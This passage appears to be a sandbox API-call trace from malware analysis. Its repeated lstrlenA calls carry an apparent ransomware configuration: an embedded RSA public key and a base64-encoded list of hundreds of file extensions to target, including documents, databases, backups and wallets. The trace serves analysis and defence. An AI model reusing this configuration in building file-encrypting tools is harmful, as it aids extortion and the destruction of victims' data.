ZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.405] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.405] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.405] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.405] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwg